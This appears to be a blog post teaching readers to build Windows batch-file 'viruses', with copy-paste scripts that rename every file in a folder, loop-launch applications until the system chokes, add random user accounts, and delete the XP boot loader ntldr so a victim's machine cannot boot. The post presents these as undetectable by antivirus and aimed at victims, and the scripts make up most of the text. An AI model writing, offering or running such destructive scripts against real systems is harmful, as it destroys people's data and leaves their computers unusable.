BATCH VIRUS

BATCH VIRUS

This is on demand post for our readers so guys get ready for some batch viruses. These are some simple codes just copy and paste then in Notepad and save then with extension .bat.

In my previous post BEGINNERS GUIDE TO BATCH PROGRAMMING is basic for BATCH programming, If you are not friendly with batch file read article first. Now I'm gonna show you some Batch Viruses which are undetectable to AV but effect people on huge basis.  

What can batch viruses do ?

 Change extension of all files in a folder

This is a simple hack to change extension of all files of folder.

• Open Notepad.
• Copy the below mentioned text in your notepad file:

ren *.* *.mp3

•  Save the file with .bat extension like anything.bat. You can change extension of code with anything like .jpg,.exe,..bat,.dll etc 

Application Bomber

• Open Notepad.
• Copy the below mentioned text in your notepad file:

@echo off

:x  

start winword 

start mspaint 

start notepad

start cmd 

start explorer

start control

start calc 

goto x 

• Save the file with .bat extension like anything.bat.

User Account Flooder 

• Open Notepad.
• Copy the below mentioned text in your notepad file:

net user %random% /add

• Save the file with .bat extension like anything.bat.

Deleting Boot files

Goto C drive in Win XP , Tools---Folder Option---View

Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply 

 Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.  

• Open Notepad.
• Copy the below mentioned text in your notepad file:

attrib -S -R -H C:\ntldr 

del ntldr    

•  Save the file with .bat extension like anything.bat.

When victim reboot system it shows error